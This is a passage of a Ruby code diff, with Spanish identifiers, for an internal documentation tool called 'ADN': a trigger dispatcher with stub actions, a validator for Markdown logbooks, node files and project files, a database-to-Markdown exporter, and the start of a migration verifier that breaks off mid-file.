accion_actualizar_referencias_cruzadas(datos)
|
||||
when 'generar_reporte_cierre'
|
||||
accion_generar_reporte_cierre(datos)
|
||||
when 'verificar_impacto_bitacoras'
|
||||
accion_verificar_impacto_bitacoras(datos)
|
||||
when 'actualizar_iconos_obsoletos'
|
||||
accion_actualizar_iconos_obsoletos(datos)
|
||||
when 'notificar_y_aplicar_directivas'
|
||||
accion_notificar_y_aplicar_directivas(datos)
|
||||
else
|
||||
@logger.advertencia("Acción desconocida: #{accion}")
|
||||
{ accion: accion, estado: 'desconocida', mensaje: 'Acción no implementada' }
|
||||
end
|
||||
|
||||
duracion = Time.now - inicio
|
||||
@logger.exito("Acción #{accion} completada en #{duracion.round(3)}s")
|
||||
|
||||
resultado
|
||||
rescue => e
|
||||
duracion = Time.now - inicio
|
||||
@logger.error("Error ejecutando acción #{accion}: #{e.message}", {
|
||||
trigger_id: trigger_id,
|
||||
datos: datos,
|
||||
backtrace: e.backtrace.take(5)
|
||||
})
|
||||
|
||||
{ accion: accion, estado: 'error', error: e.message, duracion: duracion }
|
||||
end
|
||||
end
|
||||
|
||||
# Simula una acción sin efectos reales (para pruebas)
|
||||
#
|
||||
# @param accion [String] Nombre de la acción
|
||||
# @param categoria [String] Categoría del trigger
|
||||
# @param datos [Hash] Datos simulados
|
||||
# @return [Hash] Resultado de la simulación
|
||||
def simular_accion(accion, categoria, datos)
|
||||
{
|
||||
accion: accion,
|
||||
categoria: categoria,
|
||||
modo: 'simulacion',
|
||||
mensaje: "Esta acción se habría ejecutado con los datos: #{datos.keys.join(', ')}",
|
||||
timestamp: Time.now.utc
|
||||
}
|
||||
end
|
||||
|
||||
# Busca un trigger por identificador
|
||||
#
|
||||
# @param identificador [String] Identificador del trigger
|
||||
# @return [Hash, nil] Definición del trigger encontrado o nil
|
||||
def buscar_trigger_por_identificador(identificador)
|
||||
config = configuracion
|
||||
|
||||
%w[bitacoras nodos proyectos adn].each do |categoria|
|
||||
next unless config[categoria]
|
||||
|
||||
config[categoria].each_with_index do |trigger_def, index|
|
||||
trigger_id = "#{categoria}_#{index}"
|
||||
return trigger_def.merge('categoria' => categoria, 'id' => trigger_id) if trigger_id == identificador
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Ejecuta un trigger individual
|
||||
#
|
||||
# @param trigger_def [Hash] Definición del trigger
|
||||
# @param categoria [String] Categoría del trigger
|
||||
# @param opciones [Hash] Opciones de ejecución
|
||||
# @return [Hash] Resultado de la ejecución
|
||||
def ejecutar_trigger_individual(trigger_def, categoria, opciones)
|
||||
inicio = Time.now
|
||||
trigger_id = "#{categoria}_#{Time.now.to_i}_#{rand(1000)}"
|
||||
|
||||
resultado = {
|
||||
trigger_id: trigger_id,
|
||||
evento: trigger_def['evento'],
|
||||
categoria: categoria,
|
||||
descripcion: trigger_def['descripcion'],
|
||||
inicio: inicio,
|
||||
exito: false
|
||||
}
|
||||
|
||||
begin
|
||||
# Simular datos para ejecución manual
|
||||
datos_simulados = {
|
||||
modo: 'manual',
|
||||
trigger_id: trigger_id,
|
||||
timestamp: inicio
|
||||
}
|
||||
|
||||
accion_resultado = ejecutar_accion(trigger_def['accion'], datos_simulados, trigger_id)
|
||||
|
||||
resultado.merge!(
|
||||
exito: true,
|
||||
fin: Time.now,
|
||||
duracion: Time.now - inicio,
|
||||
accion_resultado: accion_resultado
|
||||
)
|
||||
rescue => e
|
||||
resultado.merge!(
|
||||
fin: Time.now,
|
||||
duracion: Time.now - inicio,
|
||||
error: e.message,
|
||||
backtrace: e.backtrace.take(3)
|
||||
)
|
||||
end
|
||||
|
||||
resultado
|
||||
end
|
||||
|
||||
# Implementaciones de acciones específicas (stubs para Fase 2)
|
||||
|
||||
def accion_actualizar_detalle_en_proceso(datos)
|
||||
{ accion: 'actualizar_detalle_en_proceso', estado: 'stub', mensaje: 'Implementado en Fase 2' }
|
||||
end
|
||||
|
||||
def accion_actualizar_resumen_integral(datos)
|
||||
{ accion: 'actualizar_resumen_integral', estado: 'stub', mensaje: 'Implementado en Fase 2' }
|
||||
end
|
||||
|
||||
def accion_ejecutar_rollover(datos)
|
||||
{ accion: 'ejecutar_rollover', estado: 'stub', mensaje: 'Implementado en Fase 2' }
|
||||
end
|
||||
|
||||
def accion_extraer_metricas_telemetria(datos)
|
||||
{ accion: 'extraer_metricas_telemetria', estado: 'stub', mensaje: 'Implementado en Fase 2' }
|
||||
end
|
||||
|
||||
def accion_validar_formato_adn(datos)
|
||||
{ accion: 'validar_formato_adn', estado: 'stub', mensaje: 'Implementado en Fase 2' }
|
||||
end
|
||||
|
||||
def accion_actualizar_ontologia(datos)
|
||||
{ accion: 'actualizar_ontologia', estado: 'stub', mensaje: 'Implementado en Fase 2' }
|
||||
end
|
||||
|
||||
def accion_vincular_nodo_a_proyectos(datos)
|
||||
{ accion: 'vincular_nodo_a_proyectos', estado: 'stub', mensaje: 'Implementado en Fase 2' }
|
||||
end
|
||||
|
||||
def accion_actualizar_dashboard_estados(datos)
|
||||
{ accion: 'actualizar_dashboard_estados', estado: 'stub', mensaje: 'Implementado en Fase 2' }
|
||||
end
|
||||
|
||||
def accion_registrar_en_bitacora(datos)
|
||||
{ accion: 'registrar_en_bitacora', estado: 'stub', mensaje: 'Implementado en Fase 2' }
|
||||
end
|
||||
|
||||
def accion_actualizar_referencias_cruzadas(datos)
|
||||
{ accion: 'actualizar_referencias_cruzadas', estado: 'stub', mensaje: 'Implementado en Fase 2' }
|
||||
end
|
||||
|
||||
def accion_generar_reporte_cierre(datos)
|
||||
{ accion: 'generar_reporte_cierre', estado: 'stub', mensaje: 'Implementado en Fase 2' }
|
||||
end
|
||||
|
||||
def accion_verificar_impacto_bitacoras(datos)
|
||||
{ accion: 'verificar_impacto_bitacoras', estado: 'stub', mensaje: 'Implementado en Fase 2' }
|
||||
end
|
||||
|
||||
def accion_actualizar_iconos_obsoletos(datos)
|
||||
{ accion: 'actualizar_iconos_obsoletos', estado: 'stub', mensaje: 'Implementado en Fase 2' }
|
||||
end
|
||||
|
||||
def accion_notificar_y_aplicar_directivas(datos)
|
||||
{ accion: 'notificar_y_aplicar_directivas', estado: 'stub', mensaje: 'Implementado en Fase 2' }
|
||||
end
|
||||
end
|
||||
|
||||
# Acceso global al sistema de triggers
|
||||
#
|
||||
# @return [ADN::Triggers] Instancia singleton del sistema de triggers
|
||||
def self.triggers
|
||||
Triggers.instance
|
||||
end
|
||||
end
|
||||
|
||||
# ─── Notas de uso ──────────────────────────────────────────────────────
|
||||
#
|
||||
# Ejemplo de registro y uso:
|
||||
# # Cargar configuración y registrar triggers
|
||||
# ADN.triggers.cargar_configuracion
|
||||
# ADN.triggers.registrar_triggers
|
||||
#
|
||||
# Ejemplo de ejecución manual:
|
||||
# resultados = ADN.triggers.ejecutar_triggers(forzar: true)
|
||||
#
|
||||
# Ejemplo de prueba de trigger:
|
||||
# resultado = ADN.triggers.probar_trigger('bitacoras_0', { estado_tema: '⏳' })
|
||||
#
|
||||
# El sistema de triggers se integra automáticamente con el bus de eventos.
|
||||
# Cuando ocurre un evento (ej: bitácora modificada), los triggers registrados
|
||||
# que escuchan ese evento se ejecutarán automáticamente si se cumplen las condiciones.
|
||||
#
|
||||
# ⚠️ ADVERTENCIA: Este módulo está en desarrollo (Fase 2).
|
||||
# Las acciones específicas se implementarán en iteraciones posteriores.
|
||||
@@ -0,0 +1,492 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
# adn/tools/validador.rb — Validador de cumplimiento del ADN
|
||||
# =============================================================
|
||||
# Este módulo valida que bitácoras, nodos, proyectos y hebras ADN
|
||||
# cumplan con las reglas definidas en las hebras del ADN.
|
||||
#
|
||||
# Validaciones implementadas:
|
||||
# • Formato de tiempo (HH:MM, sin "hs")
|
||||
# • Iconografía de estados y semántica correcta
|
||||
# • Presencia de métricas híbridas ([Físico/Remoto:])
|
||||
# • Referencias bidireccionales en rollovers
|
||||
# • Estructura de tablas en bitácoras
|
||||
# • Campos obligatorios en nodos y proyectos
|
||||
# • Consistencia entre hebras ADN
|
||||
#
|
||||
# Uso desde CLI:
|
||||
# ruby adn/tools.rb validador [--watch] [--fix]
|
||||
#
|
||||
# Uso programático:
|
||||
# validador = ADN::Validador.new
|
||||
# resultado = validador.validar_bitacoras
|
||||
# resultado = validador.validar_todo
|
||||
|
||||
require 'yaml'
|
||||
require 'json'
|
||||
require 'fileutils'
|
||||
require 'date'
|
||||
|
||||
module ADN
|
||||
class Validador
|
||||
# Inicializa el validador con configuración
|
||||
#
|
||||
# @param config_path [String] Ruta al archivo de configuración
|
||||
# @param logger [ADN::Logger] Instancia de logger (opcional)
|
||||
def initialize(config_path = nil, logger = nil)
|
||||
@config_path = config_path || File.join(__dir__, '..', 'config', 'config.yml')
|
||||
@config = cargar_configuracion
|
||||
@logger = logger || ADN.logger
|
||||
@errores = []
|
||||
@advertencias = []
|
||||
@correcciones = 0
|
||||
end
|
||||
|
||||
# Ejecuta todas las validaciones
|
||||
#
|
||||
# @return [Hash] Resultados consolidados
|
||||
def validar_todo(opciones = {})
|
||||
@logger.info('Iniciando validación completa del ADN')
|
||||
|
||||
resultados = {
|
||||
timestamp: Time.now.utc.iso8601,
|
||||
bitacoras: validar_bitacoras(opciones),
|
||||
nodos: validar_nodos(opciones),
|
||||
proyectos: validar_proyectos(opciones),
|
||||
hebras: validar_hebras_adn(opciones),
|
||||
resumen: {
|
||||
total_errores: @errores.length,
|
||||
total_advertencias: @advertencias.length,
|
||||
total_correcciones: @correcciones
|
||||
}
|
||||
}
|
||||
|
||||
resultados
|
||||
end
|
||||
|
||||
# Valida todas las bitácoras en el directorio
|
||||
#
|
||||
# @return [Hash] Resultados de validación
|
||||
def validar_bitacoras(opciones = {})
|
||||
@logger.debug("PROJECT_ROOT: #{ADN::PROJECT_ROOT}")
|
||||
@logger.debug("Ruta BITACORAS_DIR: #{ADN::BITACORAS_DIR}")
|
||||
@logger.debug("¿Directorio existe?: #{Dir.exist?(ADN::BITACORAS_DIR)}")
|
||||
@logger.info("Validando bitácoras en #{ADN::BITACORAS_DIR}")
|
||||
|
||||
resultados = {
|
||||
total: 0,
|
||||
validas: 0,
|
||||
con_errores: 0,
|
||||
con_advertencias: 0,
|
||||
detalles: []
|
||||
}
|
||||
|
||||
archivos = Dir.glob(File.join(ADN::BITACORAS_DIR, '*.md'))
|
||||
resultados[:total] = archivos.length
|
||||
|
||||
archivos.each do |archivo|
|
||||
nombre = File.basename(archivo)
|
||||
resultado_bitacora = validar_bitacora_individual(archivo, opciones)
|
||||
|
||||
resultados[:detalles] << resultado_bitacora
|
||||
|
||||
if resultado_bitacora[:errores].empty? && resultado_bitacora[:advertencias].empty?
|
||||
resultados[:validas] += 1
|
||||
elsif !resultado_bitacora[:errores].empty?
|
||||
resultados[:con_errores] += 1
|
||||
else
|
||||
resultados[:con_advertencias] += 1
|
||||
end
|
||||
end
|
||||
|
||||
resultados
|
||||
end
|
||||
|
||||
# Valida una bitácora individual
|
||||
#
|
||||
# @param ruta [String] Ruta al archivo de bitácora
|
||||
# @return [Hash] Resultados de validación
|
||||
def validar_bitacora_individual(ruta, opciones = {})
|
||||
nombre = File.basename(ruta)
|
||||
contenido = File.read(ruta, encoding: 'UTF-8')
|
||||
|
||||
resultado = {
|
||||
archivo: nombre,
|
||||
errores: [],
|
||||
advertencias: [],
|
||||
correcciones: []
|
||||
}
|
||||
|
||||
# Validar formato de nombre (YYYY-MM-DD.md)
|
||||
unless nombre.match?(/^\d{4}-\d{2}-\d{2}\.md$/)
|
||||
resultado[:errores] << "Formato de nombre incorrecto (debe ser YYYY-MM-DD.md)"
|
||||
end
|
||||
|
||||
# Validar formato de tiempo (HH:MM, sin "hs")
|
||||
if @config['validador']['validar_formato_tiempo']
|
||||
validar_formato_tiempo(contenido, resultado)
|
||||
end
|
||||
|
||||
# Validar iconografía
|
||||
if @config['validador']['validar_iconografia']
|
||||
validar_iconografia(contenido, resultado)
|
||||
end
|
||||
|
||||
# Validar métricas híbridas
|
||||
if @config['validador']['validar_metricas_hibridas']
|
||||
validar_metricas_hibridas(contenido, resultado)
|
||||
end
|
||||
|
||||
# Validar referencias de rollover
|
||||
if @config['validador']['validar_referencias_rollover']
|
||||
validar_referencias_rollover(contenido, nombre, resultado)
|
||||
end
|
||||
|
||||
# Validar estructura básica de bitácora
|
||||
validar_estructura_bitacora(contenido, resultado)
|
||||
|
||||
# Intentar correcciones si está habilitado
|
||||
if opciones[:fix] && @config['validador']['strict_mode']
|
||||
intentar_correcciones(ruta, contenido, resultado)
|
||||
end
|
||||
|
||||
resultado
|
||||
end
|
||||
|
||||
# Valida todas las fichas de nodo
|
||||
#
|
||||
# @return [Hash] Resultados de validación
|
||||
def validar_nodos(opciones = {})
|
||||
@logger.info("Validando nodos en #{ADN::NODOS_DIR}")
|
||||
|
||||
resultados = {
|
||||
total: 0,
|
||||
validos: 0,
|
||||
con_errores: 0,
|
||||
con_advertencias: 0,
|
||||
detalles: []
|
||||
}
|
||||
|
||||
archivos = Dir.glob(File.join(ADN::NODOS_DIR, '*.md'))
|
||||
resultados[:total] = archivos.length
|
||||
|
||||
archivos.each do |archivo|
|
||||
nombre = File.basename(archivo, '.md')
|
||||
contenido = File.read(archivo, encoding: 'UTF-8')
|
||||
|
||||
resultado_nodo = {
|
||||
nodo: nombre,
|
||||
errores: [],
|
||||
advertencias: []
|
||||
}
|
||||
|
||||
# Validar campos obligatorios
|
||||
campos_obligatorios = ['Hostname', 'IP LAN', 'Sistema Operativo', 'Rol']
|
||||
campos_obligatorios.each do |campo|
|
||||
unless contenido.include?("**#{campo}**")
|
||||
resultado_nodo[:errores] << "Falta campo obligatorio: #{campo}"
|
||||
end
|
||||
end
|
||||
|
||||
# Validar formato de nombre (minúsculas)
|
||||
unless nombre == nombre.downcase
|
||||
resultado_nodo[:advertencias] << "Nombre debería estar en minúsculas (gobernanza)"
|
||||
end
|
||||
|
||||
# Validar que tenga sección de especificaciones de hardware
|
||||
unless contenido.include?('## Especificaciones de Hardware')
|
||||
resultado_nodo[:advertencias] << "Falta sección 'Especificaciones de Hardware'"
|
||||
end
|
||||
|
||||
resultados[:detalles] << resultado_nodo
|
||||
|
||||
if resultado_nodo[:errores].empty? && resultado_nodo[:advertencias].empty?
|
||||
resultados[:validos] += 1
|
||||
elsif !resultado_nodo[:errores].empty?
|
||||
resultados[:con_errores] += 1
|
||||
else
|
||||
resultados[:con_advertencias] += 1
|
||||
end
|
||||
end
|
||||
|
||||
resultados
|
||||
end
|
||||
|
||||
# Valida todos los manifiestos de proyecto
|
||||
#
|
||||
# @return [Hash] Resultados de validación
|
||||
def validar_proyectos(opciones = {})
|
||||
@logger.info("Validando proyectos en #{ADN::PROYECTOS_DIR}")
|
||||
|
||||
resultados = {
|
||||
total: 0,
|
||||
validos: 0,
|
||||
con_errores: 0,
|
||||
con_advertencias: 0,
|
||||
detalles: []
|
||||
}
|
||||
|
||||
archivos = Dir.glob(File.join(ADN::PROYECTOS_DIR, '*.md'))
|
||||
resultados[:total] = archivos.length
|
||||
|
||||
archivos.each do |archivo|
|
||||
nombre = File.basename(archivo)
|
||||
contenido = File.read(archivo, encoding: 'UTF-8')
|
||||
|
||||
resultado_proyecto = {
|
||||
proyecto: nombre,
|
||||
errores: [],
|
||||
advertencias: []
|
||||
}
|
||||
|
||||
# Validar formato de nombre (PXXXX_nombre.md)
|
||||
unless nombre.match?(/^P\d+_[a-z0-9_]+\.md$/)
|
||||
resultado_proyecto[:advertencias] << "Formato de nombre podría no seguir convención (PXXX_nombre.md)"
|
||||
end
|
||||
|
||||
# Validar campos obligatorios
|
||||
secciones_obligatorias = ['Objetivo', 'Stakeholders', 'Topología y Contexto de Red',
|
||||
'Nodos Involucrados', 'Herramientas', 'Hitos Clave']
|
||||
secciones_obligatorias.each do |seccion|
|
||||
unless contenido.include?("## #{seccion}")
|
||||
resultado_proyecto[:advertencias] << "Falta sección: #{seccion}"
|
||||
end
|
||||
end
|
||||
|
||||
# Validar que tenga código de proyecto en título
|
||||
unless contenido.match?(/^# (P\d+) - /)
|
||||
resultado_proyecto[:errores] << "Falta código de proyecto en título (ej: # P2601 - Nombre)"
|
||||
end
|
||||
|
||||
resultados[:detalles] << resultado_proyecto
|
||||
|
||||
if resultado_proyecto[:errores].empty? && resultado_proyecto[:advertencias].empty?
|
||||
resultados[:validos] += 1
|
||||
elsif !resultado_proyecto[:errores].empty?
|
||||
resultados[:con_errores] += 1
|
||||
else
|
||||
resultados[:con_advertencias] += 1
|
||||
end
|
||||
end
|
||||
|
||||
resultados
|
||||
end
|
||||
|
||||
# Valida que todas las hebras ADN existan y tengan contenido
|
||||
#
|
||||
# @return [Hash] Resultados de validación
|
||||
def validar_hebras_adn(opciones = {})
|
||||
@logger.info("Validando hebras ADN en #{ADN::ADN_DIR}")
|
||||
|
||||
resultados = {
|
||||
total: 0,
|
||||
validas: 0,
|
||||
con_errores: 0,
|
||||
con_advertencias: 0,
|
||||
detalles: []
|
||||
}
|
||||
|
||||
# Hebras esperadas según 00_indice.md
|
||||
hebras_esperadas = (0..7).map { |i| "%02d" % i }.map { |n| "#{n}_" }
|
||||
# Nombres reales de archivos
|
||||
hebras_esperadas_nombres = [
|
||||
'00_indice.md', '01_ontologia.md', '02_bitacora.md', '03_seguridad.md',
|
||||
'04_iconografia.md', '05_ia.md', '06_gobernanza.md', '07_proyectos.md'
|
||||
]
|
||||
|
||||
resultados[:total] = hebras_esperadas_nombres.length
|
||||
|
||||
hebras_esperadas_nombres.each do |nombre_hebra|
|
||||
ruta = File.join(ADN::ADN_DIR, nombre_hebra)
|
||||
|
||||
resultado_hebra = {
|
||||
hebra: nombre_hebra,
|
||||
errores: [],
|
||||
advertencias: []
|
||||
}
|
||||
|
||||
if File.exist?(ruta)
|
||||
contenido = File.read(ruta, encoding: 'UTF-8')
|
||||
|
||||
# Validar que no esté vacía
|
||||
if contenido.strip.empty?
|
||||
resultado_hebra[:errores] << "Hebra vacía"
|
||||
end
|
||||
|
||||
# Validar que tenga título principal
|
||||
unless contenido.start_with?('# ')
|
||||
resultado_hebra[:advertencias] << "Falta título principal (# )"
|
||||
end
|
||||
|
||||
resultados[:validas] += 1 if resultado_hebra[:errores].empty?
|
||||
else
|
||||
resultado_hebra[:errores] << "Hebra no encontrada"
|
||||
resultados[:con_errores] += 1
|
||||
end
|
||||
|
||||
resultados[:detalles] << resultado_hebra
|
||||
end
|
||||
|
||||
resultados
|
||||
end
|
||||
|
||||
# Obtiene los errores acumulados
|
||||
#
|
||||
# @return [Array<String>]
|
||||
def errores
|
||||
@errores
|
||||
end
|
||||
|
||||
# Obtiene las advertencias acumuladas
|
||||
#
|
||||
# @return [Array<String>]
|
||||
def advertencias
|
||||
@advertencias
|
||||
end
|
||||
|
||||
# Obtiene el número de correcciones aplicadas
|
||||
#
|
||||
# @return [Integer]
|
||||
def correcciones
|
||||
@correcciones
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Carga la configuración desde el archivo YAML
|
||||
#
|
||||
# @return [Hash] Configuración
|
||||
def cargar_configuracion
|
||||
return {} unless File.exist?(@config_path)
|
||||
|
||||
begin
|
||||
YAML.load_file(@config_path)
|
||||
rescue => e
|
||||
@logger.error("Error cargando configuración: #{e.message}")
|
||||
{}
|
||||
end
|
||||
end
|
||||
|
||||
# Valida formato de tiempo (HH:MM, sin "hs")
|
||||
def validar_formato_tiempo(contenido, resultado)
|
||||
# Buscar patrones como "10:30 hs" o "10:30hs"
|
||||
patrones_incorrectos = contenido.scan(/\d{1,2}:\d{2}\s*hs/)
|
||||
|
||||
patrones_incorrectos.each do |patron|
|
||||
resultado[:advertencias] << "Formato de tiempo incorrecto: '#{patron}' (debe ser HH:MM sin 'hs')"
|
||||
end
|
||||
|
||||
# Validar que los tiempos en tablas sigan formato HH:MM
|
||||
# Busca patrones en tablas: | HH:MM | HH:MM | ... |
|
||||
lineas_tabla = contenido.scan(/\|\s*(\d{1,2}:\d{2})\s*\|/)
|
||||
lineas_tabla.flatten.each do |hora|
|
||||
unless hora.match?(/^\d{1,2}:\d{2}$/)
|
||||
resultado[:advertencias] << "Formato de hora en tabla incorrecto: '#{hora}'"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Valida iconografía según hebra 04_iconografia.md
|
||||
def validar_iconografia(contenido, resultado)
|
||||
# Iconos de estado permitidos (de 04_iconografia.md)
|
||||
iconos_estado_permitidos = ['✅', '⏳', '⚠️', '❌', '📍', '➡️']
|
||||
|
||||
# Buscar iconos de estado en títulos (#### [Icono] - ...)
|
||||
iconos_encontrados = contenido.scan(/####\s*([✅⏳⚠️❌📍➡️])\s*-/)
|
||||
|
||||
iconos_encontrados.flatten.each do |icono|
|
||||
unless iconos_estado_permitidos.include?(icono)
|
||||
resultado[:advertencias] << "Icono de estado no reconocido: '#{icono}'"
|
||||
end
|
||||
end
|
||||
|
||||
# Verificar que haya al menos un icono de estado si hay actividades
|
||||
if contenido.include?('#### ') && iconos_encontrados.empty?
|
||||
resultado[:advertencias] << "Actividades detalladas sin iconos de estado"
|
||||
end
|
||||
end
|
||||
|
||||
# Valida presencia de métricas híbridas
|
||||
def validar_metricas_hibridas(contenido, resultado)
|
||||
unless contenido.include?('[Físico/Remoto:')
|
||||
resultado[:advertencias] << "No se encontraron métricas híbridas ([Físico/Remoto:])"
|
||||
end
|
||||
end
|
||||
|
||||
# Valida referencias bidireccionales en rollovers
|
||||
def validar_referencias_rollover(contenido, nombre_bitacora, resultado)
|
||||
# Buscar referencias a días anteriores/siguientes
|
||||
referencias = contenido.scan(/➡️\s*\[(?:Viene del|Continúa el)\s+(\d{2}\/\d{2})\]/)
|
||||
|
||||
fecha_bitacora = nombre_bitacora.gsub('.md', '')
|
||||
fecha_obj = Date.parse(fecha_bitacora) rescue nil
|
||||
|
||||
return unless fecha_obj
|
||||
|
||||
# Verificar que las referencias apunten a bitácoras existentes
|
||||
referencias.each do |ref|
|
||||
fecha_ref_str = ref[0] # Formato "DD/MM"
|
||||
dia, mes = fecha_ref_str.split('/')
|
||||
# Asumimos mismo año por simplicidad
|
||||
fecha_ref = Date.new(fecha_obj.year, mes.to_i, dia.to_i) rescue nil
|
||||
|
||||
if fecha_ref
|
||||
nombre_ref = "#{fecha_ref.year}-%02d-%02d.md" % [fecha_ref.month, fecha_ref.day]
|
||||
ruta_ref = File.join(ADN::BITACORAS_DIR, nombre_ref)
|
||||
|
||||
unless File.exist?(ruta_ref)
|
||||
resultado[:advertencias] << "Referencia a bitácora inexistente: #{nombre_ref}"
|
||||
end
|
||||
else
|
||||
resultado[:advertencias] << "Formato de fecha en referencia inválido: #{fecha_ref_str}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Valida estructura básica de bitácora
|
||||
def validar_estructura_bitacora(contenido, resultado)
|
||||
# Debe tener sección de Control de Gestión
|
||||
unless contenido.include?('## 📋 Control de Gestión')
|
||||
resultado[:advertencias] << "Falta sección '## 📋 Control de Gestión'"
|
||||
end
|
||||
|
||||
# Debe tener tablas de Pendientes, En Proceso y Resumen
|
||||
unless contenido.include?('### Pendientes') || contenido.include?('### En Proceso') || contenido.include?('### Resumen de Actividades')
|
||||
resultado[:advertencias] << "Faltan una o más tablas de control de gestión"
|
||||
end
|
||||
|
||||
# Debe tener sección de Actividades Detalladas
|
||||
unless contenido.include?('## 📝 Actividades Detalladas')
|
||||
resultado[:advertencias] << "Falta sección '## 📝 Actividades Detalladas'"
|
||||
end
|
||||
|
||||
# Debe tener referencia a premisas de trabajo IA
|
||||
unless contenido.include?('<!-- 🤖 PREMISAS DE TRABAJO (IA)')
|
||||
resultado[:advertencias] << "Falta referencia a premisas de trabajo IA"
|
||||
end
|
||||
end
|
||||
|
||||
# Intenta corregir errores automáticamente (modo --fix)
|
||||
def intentar_correcciones(ruta, contenido, resultado)
|
||||
cambios = false
|
||||
nuevo_contenido = contenido.dup
|
||||
|
||||
# Corregir "hs" en formatos de tiempo
|
||||
if @config['validador']['validar_formato_tiempo']
|
||||
nuevo_contenido.gsub!(/(\d{1,2}:\d{2})\s*hs/, '\1')
|
||||
end
|
||||
|
||||
# Aplicar correcciones si hubo cambios
|
||||
if nuevo_contenido != contenido
|
||||
File.write(ruta, nuevo_contenido)
|
||||
cambios = true
|
||||
@correcciones += 1
|
||||
end
|
||||
|
||||
if cambios
|
||||
resultado[:correcciones] << "Se aplicaron correcciones automáticas"
|
||||
@logger.info("Correcciones aplicadas a #{File.basename(ruta)}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,72 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
# adn/tools/db/cli/exportar_todo.rb
|
||||
# ==========================================
|
||||
# Exporta TODAS las bitácoras de la DB a archivos .md
|
||||
# Uso: ruby adn/tools/db/cli/exportar_todo.rb [--dir DIRECTORIO]
|
||||
# — o vía enjambre —
|
||||
# ./adn/tools/run db exportar:md --todo
|
||||
|
||||
require 'date'
|
||||
require 'optparse'
|
||||
require_relative '../core/bitacora_db'
|
||||
require_relative '../exporters/md_exporter'
|
||||
|
||||
module BitacorasDB
|
||||
module CLI
|
||||
class ExportarTodo
|
||||
def initialize(bitacoras_dir, logger = nil)
|
||||
@bitacoras_dir = bitacoras_dir
|
||||
@logger = logger || default_logger
|
||||
@resultados = { ok: 0, error: 0 }
|
||||
end
|
||||
|
||||
def ejecutar
|
||||
@logger.info("Exportando todas las bitácoras de DB a MD...")
|
||||
|
||||
BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
bitacoras = db.list_bitacoras(limit: 500)
|
||||
|
||||
if bitacoras.empty?
|
||||
@logger.info("No hay bitácoras en la base de datos.")
|
||||
return
|
||||
end
|
||||
|
||||
exporter = BitacorasDB::Exporters::MDExporter.new(db, @logger)
|
||||
|
||||
bitacoras.each do |b|
|
||||
fecha = b['fecha'].to_s
|
||||
fecha = fecha.split('T').first if fecha.include?('T')
|
||||
archivo = File.join(@bitacoras_dir, "#{fecha}.md")
|
||||
|
||||
if exporter.exportar_bitacora(fecha, archivo)
|
||||
@resultados[:ok] += 1
|
||||
else
|
||||
@resultados[:error] += 1
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@logger.info("📊 Exportación masiva completada:")
|
||||
@logger.info(" ✅ Exitosas: #{@resultados[:ok]}")
|
||||
@logger.info(" ❌ Errores: #{@resultados[:error]}") if @resultados[:error] > 0
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def default_logger
|
||||
Class.new do
|
||||
def info(msg); puts "[INFO] #{msg}"; end
|
||||
def error(msg); puts "[ERROR] #{msg}"; end
|
||||
def exito(msg); puts "[OK] #{msg}"; end
|
||||
end.new
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Ejecución directa
|
||||
if __FILE__ == $0
|
||||
bitacoras_dir = File.expand_path('../../../docs/bitacoras', __dir__)
|
||||
BitacorasDB::CLI::ExportarTodo.new(bitacoras_dir).ejecutar
|
||||
end
|
||||
@@ -0,0 +1,121 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
# adn/tools/db/cli/verificar_migracion.rb
|
||||
# ================================================
|
||||
# Verifica que todas las bitácoras MD existentes estén correctamente
|
||||
# migradas en la base de datos. Reporta faltantes y discrepancias.
|
||||
#
|
||||
# Uso:
|
||||
# ruby adn/tools/db/cli/verificar_migracion.rb
|
||||
# — o vía enjambre —
|
||||
# ./adn/tools/run db verificar
|
||||
|
||||
require 'date'
|
||||
require_relative '../core/bitacora_db'
|
||||
|
||||
module BitacorasDB
|
||||
module CLI
|
||||
class VerificarMigracion
|
||||
COLORES = {
|
||||
reset: "\e[0m", bold: "\e[1m", red: "\e[31m",
|
||||
green: "\e[32m", yellow: "\e[33m", cyan: "\e[36m", dim: "\e[2m"
|
||||
}.freeze
|
||||
|
||||
def initialize(bitacoras_dir)
|
||||
@bitacoras_dir = bitacoras_dir
|
||||
@resultados = { ok: [], sin_entradas: [], no_migrada: [], sin_md: [] }
|
||||
end
|
||||
|
||||
def ejecutar
|
||||
puts "#{COLORES[:cyan]}🔍 Verificación de migración MD ↔ DB#{COLORES[:reset]}\n\n"
|
||||
|
||||
archivos_md = Dir.glob(File.join(@bitacoras_dir, '*.md')).sort
|
||||
puts "#{COLORES[:dim]}Archivos MD encontrados: #{archivos_md.size}#{COLORES[:reset]}"
|
||||
|
||||
BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
# 1. Validar cada MD contra la DB
|
||||
archivos_md.each do |archivo|
|
||||
fecha = File.basename(archivo, '.md')
|
||||
bitacora = db.find_bitacora_by_fecha(fecha)
|
||||
|
||||
unless bitacora
|
||||
@resultados[:no_migrada] << fecha
|
||||
next
|
||||
end
|
||||
|
||||
entradas = db.execute(
|
||||
"SELECT COUNT(*) as total FROM bitacoras.entradas WHERE bitacora_id = $1",
|
||||
[bitacora['id']]
|
||||
)
|
||||
total = entradas.first['total'].to_i
|
||||
|
||||
if total > 0
|
||||
@resultados[:ok] << { fecha: fecha, entradas: total }
|
||||
else
|
||||
@resultados[:sin_entradas] << fecha
|
||||
end
|
||||
end
|
||||
|
||||
# 2. Bitácoras en DB que no tienen MD
|
||||
todas_db = db.list_bitacoras(limit: 500)
|
||||
fechas_md = archivos_md.map { |a| File.basename(a, '.md') }
|
||||
todas_db.each do |b|
|
||||
f = b['fecha'].to_s
|
||||
f = f.split('T').first if f.include?('T') # por si viene con timestamp
|
||||
@resultados[:sin_md] << f unless fechas_md.include?(f)
|
||||
end
|
||||
end
|
||||
|
||||
mostrar_resultados
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def mostrar_resultados
|
||||
